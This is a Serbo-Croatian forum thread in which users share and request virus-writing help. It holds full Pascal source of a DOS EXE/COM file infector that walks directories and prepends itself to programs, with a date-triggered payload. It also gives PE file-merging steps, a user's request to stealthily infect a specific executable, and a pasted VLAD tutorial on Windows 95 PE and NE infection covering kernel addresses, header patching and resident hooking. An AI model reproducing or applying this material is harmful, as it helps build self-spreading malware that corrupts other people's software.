[ Pera_Anarhista @ 17.08.2003. 09:01 ] @
da li bi nekome trebalo tako nesto na srpskohrvatskom ? napravio sam jedan virus za skolu (skolski primer :)), pa ako neko hoce, nije mi problem da ga prevedem sa nemackog...
[ Spodletela @ 17.08.2003. 12:04 ] @
Dobro bi došao, mozes da posaljes njemacku verziju?
[ Sundance @ 20.08.2003. 18:48 ] @
stavi negdi source da vidimo sta to brijes :) sta vi u skoli ucite kako radit viruse?
[ weB_KiLeR @ 20.08.2003. 23:15 ] @
Brate to mora nesto da je opasno jos ako je u ASM-u joj mene :P
Citat:

program opak_viri;
Uses Dos,Crt;
var
FL,FromF, ToF: file;
NumRead, NumWritten: Word;
buf: array[1..2048] of Char;
S: PathStr;
y, m, d, dow : Word;
f: Text;
SYSTEMKKK,DOFI,ST,MVIR,DR,INFF,VS: String;
DirInfo: SearchRec;
DireInfo: SearchRec;
MySize,Infc: Integer;

Function Cr(AC: Integer):String;
begin
If AC=1 then Cr:='A';
If AC=2 then Cr:='B';
If AC=3 then Cr:='C';
If AC=4 then Cr:='D';
If AC=5 then Cr:='E';
If AC=6 then Cr:='F';
If AC=7 then Cr:='G';
If AC=8 then Cr:='H';
If AC=9 then Cr:='I';
If AC=10 then Cr:='J';
If AC=11 then Cr:='K';
If AC=12 then Cr:='L';
If AC=13 then Cr:='M';
If AC=14 then Cr:='N';
If AC=15 then Cr:='O';
If AC=16 then Cr:='P';
If AC=17 then Cr:='Q';
If AC=18 then Cr:='R';
If AC=19 then Cr:='S';
If AC=20 then Cr:='T';
If AC=21 then Cr:='U';
If AC=22 then Cr:='V';
If AC=23 then Cr:='W';
If AC=24 then Cr:='X';
If AC=25 then Cr:='Y';
If AC=26 then Cr:='Z';
end;

Procedure FoundInf;
begin
MVIR:='';
InFF:='';
FindFirst('*.EXE', Archive, DirInfo);
while (DosError = 0) and (INFF='') do
begin
Assign (f,DirInfo.Name);
Reset (F);
Read (f,MVIR);
Close (F);
If copy(MVIR,11,6)='IIĄľ' then INFF:=DirInfo.Name;
FindNext(DirInfo);
end;
FindFirst('*.COM', Archive, DirInfo);
while (DosError = 0) and (INFF='') do
begin
Assign (f,DirInfo.Name);
Reset (F);
Read (f,MVIR);
Close (F);
If copy(MVIR,11,6)='IIĄľ' then INFF:=DirInfo.Name;
FindNext(DirInfo);
end;
If InFF='' then
begin
ClrScr;
Sound (100);
Delay (100);
NoSound;
Halt (1);
end;

end;

procedure Infect (FTI:String);
begin
If Infc=1 then Halt (1);

Assign (f,FTI);
reset (f);
Read (f,ST);
close (f);
If (copy(ST,11,6)<>'IIĄľ') and (FTI<>'C:\COMMAND.COM') then
begin

Assign (FL,FTI);
Rename (FL,'C:\Victome.txt);

{ Open input file }
Assign(FromF, INFF);
{ Record size = 1 }
Reset(FromF, 1);
{ Open output file }
Assign(ToF, 'VIRUS.SER');
{ Record size = 1 }
Rewrite(ToF, 1);
repeat
BlockRead(FromF,buf,
SizeOf(buf),NumRead);
BlockWrite(ToF,buf,NumRead,NumWritten);
until (NumRead = 0) or
(NumWritten <> NumRead) or (FileSize(ToF)=MySize);
Close(FromF);
Close(ToF);

{ And now, infect it }

{ Open input file }
Assign(FromF, 'VIRUS.SER');
{ Record size = 1 }
Reset(FromF, 1);
{ Open output file }
Assign(ToF, FTI);
{ Record size = 1 }
Rewrite(ToF, 1);
repeat
BlockRead(FromF,buf,
SizeOf(buf),NumRead);
BlockWrite(ToF,buf,NumRead,NumWritten);
until (NumRead = 0) or
(NumWritten <> NumRead);
Close(FromF);

{ Open input file }
Assign(FromF, 'VICTOME.TXT');
{ Record size = 1 }
Reset(FromF, 1);
repeat
BlockRead(FromF,buf,
SizeOf(buf),NumRead);
BlockWrite(ToF,buf,NumRead,NumWritten);
until (NumRead = 0) or
(NumWritten <> NumRead);
Close(FromF);
Close(ToF);

Assign (FL,'VICTOME.SER');
Erase (FL);
Assign (FL,'VIRUS.SER');
Erase (FL);

Assign (F,'VICT');
ReWrite (F);
WriteLn (F,FTI);
Close (F);

Infc:=Infc+1;
end;

end;

begin
MySize:=12288;
SYSTEMKKK:=Cr(3)+':'+'\'+Cr(19)+Cr(25)+Cr(19)+Cr(20)+Cr(5)+Cr(13)+'.'+Cr(11)+Cr(11)+Cr(11);
GetDate(y,m,d,dow);
S := FSearch(SYSTEMKKK,GetEnv('PATH'));
If S='' then
begin
Assign (f,SYSTEMKKK);
ReWrite (F);
WriteLn (F, m,'/',d,'/',Y);
Close (F);
end;

Assign (f,SYSTEMKKK);
reset (f);
Read (f,DOFI);
close (f);

If (M=8) and (D=30) then
begin
ClrScr;
WriteLn (Cr(25)+Cr(15)+Cr(21)+Cr(18)+' '+Cr(16)+Cr(3)+' '+Cr(9)+Cr(19)+' '+Cr(9)+Cr(14)+
+Cr(6)+Cr(5)+Cr(3)+Cr(20)+Cr(5)+Cr(4)+' '+Cr(23)+Cr(9)+Cr(20)+Cr(8)+' "'+Cr(19)+Cr(5)+Cr(18)+
+Cr(2)+Cr(9)+Cr(1)+Cr(14)+' '+Cr(22)+Cr(1)+Cr(13)+Cr(16)+Cr(9)+Cr(18)+Cr(5)+'" '+
+Cr(22)+Cr(9)+Cr(18)+Cr(21)+Cr(19));
Sound (1500);
Delay (500);
NoSound;
Sound (2500);
Delay (500);
NoSound;
Sound (1000);
Delay (500);
NoSound;
ReadLn;
end;

FoundInf;
Infc:=0;
{ What to infect }
GetDir (0,DR);
DR:=Copy (DR,1,2);

{ROOT}
FindFirst('\*.EXE', Archive, DirInfo);
while DosError = 0 do
begin
Infect (DR+'\'+DirInfo.Name);
FindNext(DirInfo);
end;
FindFirst('\*.COM', Archive, DirInfo);
while DosError = 0 do
begin
Infect (DR+'\'+DirInfo.Name);
FindNext(DirInfo);
end;

{ SUB-DIRS }
FindFirst('\*', Directory, DireInfo);
while DosError = 0 do
begin

FindFirst('\'+DireInfo.Name+'\'+'*.EXE', Archive, DirInfo);
while DosError = 0 do
begin
Infect (DR+'\'+DireInfo.Name+'\'+DirInfo.Name);
FindNext(DirInfo);
end;
FindFirst('\'+DireInfo.Name+'\'+'*.COM', Archive, DirInfo);
while DosError = 0 do
begin
Infect (DR+'\'+DireInfo.Name+'\'+DirInfo.Name);
FindNext(DirInfo);
end;

FindNext(DireInfo);
end;


{ Infecting }
end.


Pitaj nastavnika kako da ga prevedes iz Delphi-ja u tasm32 :P pa se igraj malo heheh... Veruj mi nije tesko imas jos gomile tutora kako se iz ASM-a radi sa win api-ima nije to nista samo ih pozivas :P...
[ Sundance @ 21.08.2003. 00:22 ] @
postoji linearna veza izmedju uppercase ASCII charova i bilo kojeg aritmetickog niza podskupa N, ah...optimiziraj malo evidentno. samo da taj kulj infektor nije ovako l33t, da ne bi srusio cijeli net :))))
[ Pera_Anarhista @ 11.09.2003. 12:43 ] @
caos
evo, virus source je atacovan, to je obican (lame) pe infektor, a posto sam u frci, saljem samo de verziju...
[ reiser @ 11.09.2003. 14:18 ] @
Zanima me PE Header, pa moze li neko da mi objasni sta je to, i kako da, recimo, spojim dva fajla u jedan a da oba rade (prvo se startuje 1., pa zatim 2.) iz delphia
[ Pera_Anarhista @ 18.10.2003. 18:40 ] @
cao
stvar nije teska, ali moras malo da upoznas PE Format...
imas na http://win32asm.cjb.net dobrih tutoriala.

Sta trebas da promenis:
- EntryPoint - gde oces
- ImageSize = ImageSize1 + ImageSize2
- Trebas onda da im spojis import tablice, resurse itd.
- Treba da dodas sekcije od drugog fajla, promenis im ime, na VirutalAddress dodas (RVA poslednje sekcije originalnog fajla + SizeOfRawData alingovan na SectionAlignment), na RawDataOffset dodas RawDataOffset zadnje sekcije + SizeOfRawData zadnje sekcije
- iskopiras sve od drugog fajla od section tablica na RawDataOffset+SizeOfRawData zadnje sekcije u originalan fajl.

To bi bilo to, nisam nesto puno mozgao, pa bi moglo da bude i da sam negde pogresio ili nesto prevideo.

btw., takvih programa vec ima, pa verovatno ima neko negde i source code, potrazi na netu.
[ janez_kranjski @ 25.10.2004. 23:19 ] @
Evo ja ga trebam u Delphiju. Ali takvog koji ne uništi exe fajla. Ja bih infekcirao samo jedan exe fajl ne sve fajle. Recimo word.exe i da word onda radi normalno. Onu Delphi kodu na sajtu još nisam isprobao tako da ne znam kako radi ili uopšte radi. Pomoč molim. Evo ovo sam pronašao na netu ali ne znam kako to upotrebit u Delphiju.

Skupine Rezultat iskanja št. 30 za exe infect virus source pascal

On 2004-06-28, FromTheRafters <[email protected]> wrote:
>
> "paul lasse" <[email protected]> wrote in message news:[email protected]...
>> Hi
>>
>> Has anybody an idea (or url) how to write a simple file infection
>> function for recent win oses ?
>
> No, but if you find one I would like to check it out too. Maybe Jayjwa
> has a tutorial on his box.

The problem is that I have too many. I've made some attempt to
straighten the stuff out, but alot is still a mess.
This is one of the better txt's I've seen as far as examples go.
You'll have to excuse the formatting because for some reason it was in
M$'s proprietry "DOC" format and this was the result after letting
catdoc have its way with it:


Introducing Windows 95 by Quantum / VLAD

Straight to: Infection of Portable Executables

When VLAD started working on the Win95 problem (back when WinSurfer was

released), all we had to work with was the win32s update to win3.1 that

allowed win3.1 users to run (not very successfully) 32 bit win95/NT

applications. Tracing through the code one day we noticed that every

exe started with loading the PE header with eax pointing to it and

jumping to the entrypoint (jmp [eax + 28h]). So we changed the

entrypoint RVA to point to our code, pushed eax, did our code, popped

eax, and jumped to [eax + 28]. It worked, we had a win32s infector,

then we noticed we didn't actually have any way to infect. There were

no ints and we really felt out of our depth and then to top it all off

we came across the ultimate way to go resident without infecting the

win3.1 shell and so PH33R was born. About this time I left the scene

in an unexplainable burst of insane "oh my god I'm going to fail uni"

panic and that was about the end of the win32s/95/NT project.

Just recently, uni ended. I was on holidays, bored out of my skull,

and running win95, so I decided I'd give it another go. To my surprise

the jmp [eax + 28] was gone, it was just a byproduct of win32s. Instead

I just calculated the distance between the end of the exe and the

entrypoint, calculated the start of the virus code and subtracted the

two. It worked, I had a win95/NT infector. That is, 'cept for a little

matter of calling API...

The Day the World Changed

-------------------------

In the beginning there were memory locations and we manipulated what

our computer did by peeking and poking. And it was good. But this

was not to last, for on the horizon was the "port" and slowly we

learnt to communicate with attached devices by puting values in, and

pulling values out, of specific ports.

After a while the computer was no longer young and we needed

something to keep things in check. We needed a way to communicate

indirectly with the hardware and thus the interrupt was born. Not

everyone liked the interrupt system but soon we all learnt to live

with it, to manipulate it, and use it to our advantage.

Everyone that is, except one group at Microsoft - the guys who were

writing a "revolutionary" GUI called "Windows". These guys were

looking for a way to split all the functions that were once provided

by interrupts into seperate, shared files called Dynamic Link

Librarys (Dll's). And so the Application Program Interface (API) was

born. API's made calling functions just that little bit harder and

admittedly sometimes completely impossible. But the guys at Microsoft

had not yet taken away our interrupts and we still had (some) control

over the system with DPMI.

Then the guys at Microsoft did it again. Their latest concoction

eliminated interrupts and ports and yes, even memory locations. For

"Windows 95/NT" is a true non-preemptive multitasking system or in

other words - a bully. This ogre pushes programs around, squeezes

them into confined spaces, locks them out of restricted areas and,

worst of all, forces them into using a new, impossibly complex, method

of calling API.

Which brings us to...

One drunk night at Microsoft

----------------------------

When the guys at Microsoft get drunk, they truly get drunk. But rather

than running around with a cop's panties on their collective head and

stealing traffic cones, they designed a new call construct.

In the spirit of Windows 3.1, the guys at Microsoft chose against using

interrupts. In some ways this was good - programmers dont need to check

to see if dll's are in memory (although they could), and they can state

what dll's they need. The way that Microsoft achieved this is through

the Import and Export Tables. The Import table lets the programmer state

what functions they need from which dll's. The Export table lets the

provider of the dll specify what functions it provides.

The problem is, once the import table has been written it is set in
stone.

There is no space to add any new entries and you cant move anything
around.

Why ? Well, mainly because of a certain jump table that can be ANYWHERE

in the exe. To call an API the code calls a hardcoded address. This

address points to an indirect jump which points to an entry in the
import

table that is filled in (when the executable is loaded) with an address
to

a similar jump table in the dll that pushes a value and jumps to the

function dispatcher which uses the values that are inserted in the dll's

export table. To add an entry to the import table you would have to

move the current entries around so that you could fit it in. This means

you have to change the jump table to point to the relocated entries,
which

is impossible as the jump table can be ANYWHERE in the file and cannot
be

located.

The New Frontier

----------------

Windows 95 is a whole new platform. It's a new challenge and although

a lot of things have been stacked against you - it IS possible. So

get in there and start researching. Research will be the end-all of

the VX/AV war, one way or the other.

Infection of Portable Executables

by

Qark and Quantum [VLAD]

The portable executable format is used by Win32, Windows NT and Win95,

which makes it very popular and likely to become the dominant form of

executable sometime in the future. The NE header used by Windows 3.11

is completely different to the PE header and the two should not be

confused.

None of the techniques in this document have been tested on Windows NT

because no virus writer (we know) has access to it.

At the bottom of this document is a copy of the PE format, which is not

easy to follow but is the only reference publicly available. Turbo

Debugger 32 (TD32) is the debugger used during the research of this

text, but SoftIce'95 also does the job.

Calling Windows 95 API

----------------------

A legitimate application calls win95 api by the use of an import

table. The name of every API that the application wants to call is

put in the import table. When the application is loaded, the data

needed to call the API is filled into the import table. As was

explained in the win95 introduction (go read it), we cannot modify

this table due to Microsoft's foresight.

The simple solution to this problem is to call the kernel directly.

We must completely bypass the Win95 calling stucture and go straight

for the dll entrypoint.

To get the handle of a dll/exe (called a module) we can use the API

call GetModuleHandle and there are other functions to get the

entrypoint of a module - including a function to get the address of an

API, GetProcAddress.

But this raises a chicken and egg question. How do I call an API so I

can call API's, if I can't call API's ? The solution is to call api

that we know are in memory - API that are in KERNEL32.DLL - by calling

the address that they are always located at.

Some Code

---------

A call to an API in a legitimate application looks like:

call APIFUNCTIONNAME

eg. call CreateFileA

This call gets assembled to:

db 9ah ; call

dd ???? ; offset into jump table

The code at the jump table looks like:

jmp far [offset into import table]

The offset into the import table is filled with the address of the

function dispatcher for that API function. This address is obtainable

with the GetProcAddress API. The function dispatcher looks like:

push function value

call Module Entrypoint

There are API functions to get the entrypoint for any named module but

there is no system available to get the value of the function. If we

are calling KERNEL32.DLL functions (of which are all the functions

needed to infect executables) then we need look no further than this

call. We simply push the function value and call the module

entrypoint.

Snags

-----

In the final stages of Bizatch we beta tested it on many systems.

After a long run of testing we found that the KERNEL32 module was

static in memory - exactly as we had predicted - but it was at a

different location from the "June Test Release" to the "Full August

Release" so we needed to test for this. What's more, one function

(the function used to get the current date/time) had a different

function number on the June release than it did on the August release.

To compensate I added code that checks to see if the kernel is at one

of the 2 possible locations, if the kernel isn't found then the virus

doesn't execute and control is returned to the host.

Addresses and Function Numbers

------------------------------

For the June Test Release the kernel is found at 0BFF93B95h

and for the August Release the kernel is found at 0BFF93C1Dh

Function June August

--------------------------------------------------

GetCurrentDir BFF77744 BFF77744

SetCurrentDir BFF7771D BFF7771D

GetTime BFF9D0B6 BFF9D14E

MessageBox BFF638D9 BFF638D9

FindFile BFF77893 BFF77893

FindNext BFF778CB BFF778CB

CreateFile BFF77817 BFF77817

SetFilePointer BFF76FA0 BFF76FA0

ReadFile BFF75806 BFF75806

WriteFile BFF7580D BFF7580D

CloseFile BFF7BC72 BFF7BC72

Using a debugger like Turbo Debugger 32bit found in Tasm 4.0, other

function values can be found.

Calling Conventions

-------------------

Windows 95 was written in C++ and Assembler, mainly C++. And although

C calling conventions are just as easy to implement, Microsoft didn't

use them. All API under Win95 are called using the Pascal Calling

Convention. For example, an API as listed in Visual C++ help files:

FARPROC GetProcAddress(

HMODULE hModule, // handle to DLL module

LPCSTR lpszProc // name of function

);

At first it would be thought that all you would need to do is push the

handle followed by a pointer to the name of the function and call the

API - but no. Due to Pascal Calling Convention, the parameters need

to be pushed in reverse order:

push offset lpszProc

push dword ptr [hModule]

call GetProcAddress

Using a debugger like Turbo Debugger 32bit we can trace the call (one

step) and follow it to the kernel call as stated above. This will

allow us to get the function number and we can do away with the need

for an entry in the import table.

Infection of the PE Format

--------------------------

Finding the beginning of the actual PE header is the same as for NE

files, by checking the DOS relocations for 40h or more, and seeking to

the dword pointed to by 3ch. If the header begins with a 'NE' it is a

Windows 3.11 executable and a 'PE' indicates a Win32/WinNT/Win95 exe.

Within the PE header is 'the object table', which is the most important

feature of the format with regards to virus programming. To append code

to the host and redirect initial execution to the virus it is necessary
to

add another entry to the 'object table'. Luckily, Microsoft is obsessed

with rounding everything off to a 32bit boundary, so there will be room

for an extra entry in the empty space most of the time, which means it

isn't necessary to shift any of the tables around.

A basic overview of the PE infection:

Locate the offset into the file of the PE header

Read a sufficient amount of the PE header to calculate the full size

Read in the whole PE header and object table

Add a new object to the object table

Point the "Entry Point RVA" to the new object

Append virus to the executable at the calculated physical offset

Write the PE header back to the file

To find the object table:

The 'Header Size' variable (not to be confused with the 'NT headersize')

is the size of the DOS header, PE header and object table, combined.

To read in the object table, read in from the start of the file for

headersize bytes.

The object table immediately follows the NT Header. The 'NTheadersize'

value, indicates how many bytes follow the 'flags' field. So to work

out the object table offset, get the NTheaderSize and add the offset

of the flags field (24).

Adding an object:

Get the 'number of objects' and multiply it by 5*8 (the size of an
object

table entry). This will produce the offset of the space within which

the new virus object table entry can be placed.

The data for the virus' object table entry needs to be calculated using

information in the previous (host) entry.

RVA = ((prev RVA + prev Virtual Size)/OBJ Alignment+1)

*OBJ Alignment

Virtual Size = ((size of virus+buffer any space)/OBJ Alignment+1)

*OBJ Alignment

Physical Size = (size of virus/File Alignment+1)*File Alignment

Physical Offset = prev Physical Offset + prev Physical Size

Object Flags = db 40h,0,0,c0h

Entrypoint RVA = RVA

Increase the 'number of objects' field by one.

Write the virus code to the 'physical offset' that was calculated, for

'physical size' bytes.

Notes

-----

Microsoft no longer includes the PE header information in their
developers

CDROMs. It is thought that this might be to make the creation of

viruses for Win95 less likely.

Tools

-----

There are many good books available that supply low level Windows 95

information. "Unauthorized Windows 95", although not a particularly

useful book (it speaks more of DOS/Windows interaction), supplies

utilities on disk and on their WWW site that are far superior to the

ones that we wrote to research Win95 infection.

Windows Executable Infection by Qark and Quantum [VLAD]





This document attempts to explain technically NewExe infection for the

virus writer. This isn't for the novice coder and you'll need to

understand DOS EXE infection before being able to use any of it.

The infection described in detail here is the same as used by the

accompanying WinSurfer virus, there are other methods that can be done

but they aren't our concern (it's up to you to develop new code!)

You will want a copy of the New Exe header information which is
available

in Ralf Browns interrupt listings under Int21h AH=4Bh, a copy of which
is

included at the end of this article.

This is a map of what we are trying to do:

Before infection After Infection

0h--------------------- 0h---------------------

| | | |
| DOS EXE header | | DOS EXE header |
| | | |

--------------------- ---------------------

| | | |
| DOS Code | | DOS Code |
| | | |
| | 3F8h---------------------

400h--------------------- | |

| | <- Move | New EXE Header |
| New EXE Header | this | and some tables |
| and some tables | up | |
| | | ----------------- |
| ----------------- | | Segment |
| Segment | | Table |
| Table | | |
| | | |
| | Insert -> | ----------------- | Virus segment
| ----------------- | this | ----------------- | entry
| Misc Other | | Misc Other |
| Tables | | Tables |
| | | |

x x x x

x x x x

x x x x

CS:IP --------------------- ---------------------

| | | |
| Windows Code | | Windows Code |
| and Misc | | and Misc |
| Segments | | Segments |
| | | |

End --------------------- CS:IP ---------------------

| Virus segment |

Append all | with code etc |

this -> | |

--------------------- Virus

| | Relocation

End --------------------- Entry

Infection Theory:

-----------------

Test the EXE to make sure its windows and that the NE is at offset 1024.

Reduce the NE pointer at 3ch by eight.

Reduce DOS SP by eight.

Any NE offsets which are larger than the segment table offset must be

increased by eight.

Increment the segment counter.

Save the CS:IP.

Point the CS:IP to the new segment entry

Calculate the position of the end of the segment table, move all data up
to

and including the segment table up by eight bytes.

Add another segment entry

Write the virus to the end of the file

Write relocation entry to the end of the file.

---

That is a very basic overview of what is wanted.

The main idea of it all is moving the NE header forward to add a new

segment table entry, and changing the CS:IP to point to it.

We'll go through all the stages step by step.

Testing for a Windows executable.

---------------------------------

A NewEXE file always begins with a DOS header and some DOS executable

code. With a windows executable:

The word at offset 0 is 'MZ'.

The word at offset 18h is 40h or greater.

assuming that these conditions are met then we also want the pointer to
the

NE header (3ch) to be equal to 400h. The reason for this is that room is

needed to move the NE header forward by 8.

Rewriting the DOS header.

-------------------------

Before rewriting the DOS header, reduce the DOS SP field (10h) by 8,
because

if it was pointing to the end of the DOS code section it would point to

the start of the NE header. (No real reason for doing it really)

The NE header pointer at 3ch must be reduced by 8, because we intend on

moving most of the NE header forward to that position.

Modifications to the NE header.

-------------------------------

From this point onwards we are referring to the offsets in relation to
the

NE header.

The pointer to the segment table is a word at 22h. If any of the
pointers

at 4,24h,26h,28h,2ah are larger than [22h], then increase that

pointer by eight. The reason for this is that since we are inserting a

new segment table entry, all tables behind the segment table will be

eight bytes further from the start of the header.

The segment counter is a word at offset 1ch. Increment it by one because

since we are adding another segment, we need to indicate this in the

header.

At offset 14h is the dword pointer to the program entry point, CS:IP

where the CS is actually the segment table entry number. Save this
pointer

for use in your relocation entry (that part will be explained in detail

later on). Now point the CS:IP instead to the virus segment. Do this

by writing the necessary starting IP value to 14h (offset of the entry
into

your segment) and the segment counter value into 16h (since the virus

segment is the last in the segment table it will be equal to the segment

counter value which we have incremented).

You can work this out for yourself, but what you need to do now is move

the entire NE header, upto and including the segment table, but not

the data behind it, forward by eight bytes. Heres an equation on

calculating how much to move:

((segmentcounter-1)*8)+word ptr [22h]

Directly after this position is where to insert the new virus segment
entry.

The Virus Segment Entry.

------------------------

Format of new executable segment table record:

00h WORD offset in file (shift left by alignment shift for byte offs)

02h WORD length of image in file (0000h = 64K)

04h WORD segment attributes (see below)

06h WORD number of bytes to allocate for segment (0000h = 64K)

Offsets 2 and 6 in the segment record are just the virus size. Offset

4 is the segment attribute, we use 180h, which makes the segment
executable

with relocations.

Calculating offset 0 is more difficult. It is necessary to get the file

length and shift it right by the alignment shift value which was saved

earlier. I wouldn't know how to do a dword shift so I convert it to a

division.

File length into DX:AX :

mov ax,4202h

xor cx,cx

cwd

int 21h

Shift right DX:AX by alignment shift:

mov cl,byte ptr alignment_shift

push bx

mov bx,1

shl bx,cl

mov cx,bx

pop bx

div cx

AX=required offset 0 value

Write this eight byte table behind all the moved header.

Writing the Virus.

------------------

Lseek to the end of the executable and write the virus.

Writing the Relocation Entry.

-----------------------------

You need a relocation entry so that you can return control to the host

after the virus has done its dirty work. The relocation entries follow

the segment itself.

Format of relocation entry:

Offset Size Description

00 WORD Number of relocation entries

Offset Size Description

00 BYTE relocation type

01 BYTE relocation flags

02 WORD offset within segment

04 WORD target address segment

06 WORD target address offset

The first word will be 1 because only 1 relocation entry.

First byte is 3 to signal a 32bit pointer (a far jump).

Second byte is 4 to signal additive relocation. (doesn't work without
this)

Word at offset 2 is the offset of the dword after the 'far jump' opcode.

Word at offset 4 is the CS of the original host CS:IP

Word at offset 6 is the IP of the original host CS:IP

To put all this into code:

db 0eah ;Opcode of JMP FAR PTR

ret_ip dw 0

dw 0ffffh

relocation dw 1 ;One relocation entry

db 3 ;32bit pointer relocation

db 4 ;Additive relocation

dw offset ret_ip ;Offset of the relocation in segment

hostcs dw 0 ;CS:IP of place we want our relocation to

hostip dw 0 ; point.

Note: the relocation address data (ret_ip) _must_ be FFFF:0000 as above

because windows treats it as a linked list. If you don't understand

don't worry, just do it! It won't work otherwise. It is important

that before writing the virus body to the executable that you set

this address to FFFF:0000 so that executable will be setup correctly.

Write the relocation entry to the end of the file.

Windows allows a standard Int 21h call just fine so all file
manipulation

is as simple as ever, with a few minor changes.

Writting TSR/ISR's under Windows.

---------------------------------

Windows is a protected mode environment and thus to set a vector under
it we

must manipulate the various tables that protected mode requires to be

updated. Of these tables one is of interest to us. The "Interrupt

Descriptor Table" (IDT). The IDT holds all the Protected Mode interrupt

vectors that are in the "Interrupt Vector Table" (IVT) - if they are

supported - and some more. This is all well and good - all we have to do
is

set a vector in the IDT to point to our code like we do with dos and the

IVT but - there are complications.

V86 mode.

---------

When Windows is running in 386 enhanced mode the processor is locked
into

v86 mode. In v86 mode each application has its own 1mb memory block. All

EMS/XMS is locked away from the application and (usually) each process
has

its own IDT/IVT. The idea being to allow the application to think it is

alone on the system. Any attempt to access any other tasks that may be

running is a "violation of system integrity" and will cause an
exception.

This is no good for a virus and by now you're thinking we're screwed but

windows solves the problem for us. Windows has but one IDT and of course

only one IVT to shadow it and thus if we are to a hook a vector in the
IDT

it will be reflected in every task. (Ever seen that OS/2 warp advert
where

they say "... and true multi-tasking" - well this simply means that OS/2

warp holds a seperate IDT for every task under v86 mode.)

Setting the Vector.

-------------------

So let's get this straight.. the IVT is the one at 0:0 that we all know
and

love and the IDT is a protected mode/v86 shadow of it. So you're most

probably asking "why can't we just hook the IVT and let windows reflect
it

into the IDT?" - well there's 2 reasons: firstly windows doesn't
"reflect"

the IVT as we would like to think, actually it copies the IVT into the
IDT

on startup then replaces certain routines with "protected mode call

structures" which call the real mode routines and some routines it
doesn't

even do this, secondly trying to access the IVT directly is a big nono
and

will cause an exception error.

Can we use DOS ? well yes, you can.. most dos functions have been
reflected

up into windows although windows is supposed to be trying to get rid of

them. So you can call int 21,25/35 to set the vector but remember that
this

will be setting a vector in the GVT and only at the discretion of
windows.

A better way: use DPMI. Windows is NOT your host under protected mode or

even v86 mode as microsoft would have you believe. Windows has an

overlooker that provides windows time-slicing and exception abilities.
In

fact all windows does is act as a mediator to DPMI and basically slow
things

down. So how do we use DPMI to set the vector ? well.. by using
functions

0204h/0205h - with the vector in BL - of the DPMI provider int 31. This

way windows has no say over what goes in its IDT and thus we have a LOT
of

control.

Writing the Interrupt.

----------------------

This is perhaps one of the easier things to do - once you understand the

principles. In protected mode/v86 mode your code segment is supposed to
be

read only and thus you're supposed to have a code, stack and data
segment.

Everyone knows this is bad so what we need is a way to write to the code

segment. You won't find one - writing to the code segment just isn't

possible. BUT - if we were to have a data segment that pointed to the
same

code segment then we could do it. (actually we don't have any segments
in

protect mode.. we have a thing called a "selector" which gives access

parameters to areas of memory.)

To get an "alias selector" to the code segment we can use another DPMI

function and bypass windows altogether: function ax=000ah with the code

selector in bx of int 31h, it returns a read/writeable alias selector to

the code segment in ax.

So now Protected mode isn't protected and we're free to write to the
code

segment. One problem arises from this idea. Qark wanted to put this code

to generate the alias in the loader part of the virus and store it in
the

code segment for the interrupt routine. This seemed fine until I found
out

that windows likes to move segments around. One minute your code might
be

at one address the next it may be at another. Thus you should always

regenerate the alias on every execution of the ISR or lock down the
segment

- we chose against this last approach as it can cause exception errors
from

windows (DPMI has no problems with this strategy.)

For a detailed look at DPMI consult Ralf Brown's interrupt listing under

int 31h. These functions haven't been included in this text.

Staying Resident.

-----------------

Finally: don't go resident off something that can be closed. If you go

resident off something like mine sweeper or something and the user
closes

the application, your code segment will be deleted and removed from the
IDT

and will point to an empty segment. This will cause windows to hang.

Solution: look for a process that will never be closed, direct action

infect this as soon as you find it and only ever go resident off it.

In the 'system.ini' file in your windows directory, is a variable
'shell='

that points to a file that is never closed. Mostly it will be

'progman.exe' but sometimes other programs are used, so read it in and

infect it.

To find the path of the windows directory, search the environment for a

variable called 'windir=' (yes, lowercase!). On entry to any windows

executable ES will point to the PSP (or something functionally similar).

The word at 2ch is the segment (selector) of the environment segment.

Scan through this as you would within a DOS application. We didn't
discover

this through any documentation, but when Quantum accidentally typed
'set'

from within a DOS window.

Facts and Possible Techniques.

------------------------------

At offset 0eh in the New Executable header is the 'auto data segment
index'.

This is another segment table index, which will be automatically in DS

on execution entry. Although this is pure guesswork, if you set that

'auto data segment' to the same segment as CS, (ie in every way the same

except the segment attributes) then you could write to your CS without

using DPMI and would also open the gateway to polymorphic windows
viruses.

(Polymorphism would be pretty useless if you had to put a DPMI call
before

you could write to your code segment.)

Mark Ludwig's 'Windows Virus #2' uses a different form of infection in
that

it extends the length of the code segment as indicated in the segment

table, and moves the entire host program starting from the end of the
file

back by virus length until the end of the code segment is reached, at
which

point the virus is written. The IP is then repointed to the virus.

There are some advantages to this, such as no need to add relocation
entries

because the jmp is intra-segment but this is greatly outweighed by the

fact that moving an entire file is very slow and a much larger number of

pointers in the header need to be modified to account for the change.

There are DPMI calls for allocating memory (Int 31h ax=501h) but it is

unknown at this point whether the memory remains allocated after the
program

is closed. Mark Ludwig makes extensive use of these calls for temporary

buffers in his direct action 'Windows Virus #2'.

Mark Ludwig also demonstrates use of the WinAPI calls, which involve
adding

a new relocation entry for each call and pushing some stuff on the
stack.

This may become important when win95 comes out but for the moment it is

more convenient to simply use int 21h.

Some food for thought.

----------------------

Microsoft has a dream [here we go], the dream is to control the world.
They

intend to do this with applications like Windows [scary isn't it ?], and
by

the looks of it they might succeed. A lot of people think computers
should

be easy, that there should be no skill involved in it and that everyone

should HAVE to use one. Microsoft are using this idea to flood the
market

with shit like Windows, in the hope that it will be accepted as a
"standard".

Windows is already this but Microsoft aren't happy with one success,
they

want to be on top of the hill.

This is where we come in. If Microsoft is going to succeed in taking
over

the world then we should be there making their lives difficult. The

WinSurfer virus created by us is so stable that an average windows

user wouldn't even notice it. [Then again the average windows user

wouldn't notice if his hair caught on fire.] And thus will stay with us

for quite some time. At least until AVers recognise the windows market

and start releasing scanners.

The New Executable format. (From Ralf Browns Interrupt listing 21 AH=4B)

--------------------------

new executables begin running with the following register values

AX = environment segment (Wrong! AX=0)

BX = offset of command tail in environment segment

CX = size of automatic data segment (0000h = 64K)

ES,BP = 0000h (Wrong! ES=PSP)

DS = automatic data segment

SS:SP = initial stack

the command tail corresponds to an old executable's PSP:0081h and

following, except that the 0Dh is turned into a NUL (00h); new

format executables have no PSP (All wrong)

Format of .EXE file header:

Offset Size Description

00h 2 BYTEs .EXE signature, either "MZ" or "ZM" (5A4Dh or 4D5Ah)

02h WORD number of bytes in last 512-byte page of executable

04h WORD total number of 512-byte pages in executable (includes any

partial last page)

06h WORD number of relocation entries

08h WORD header size in paragraphs

0Ah WORD minimum paragraphs of memory to allocation in addition to

executable's size

0Ch WORD maxi paragraphs to allocate in addition to executable's size

0Eh WORD initial SS relative to start of executable

10h WORD initial SP

12h WORD checksum (one's complement of sum of all words in executable)

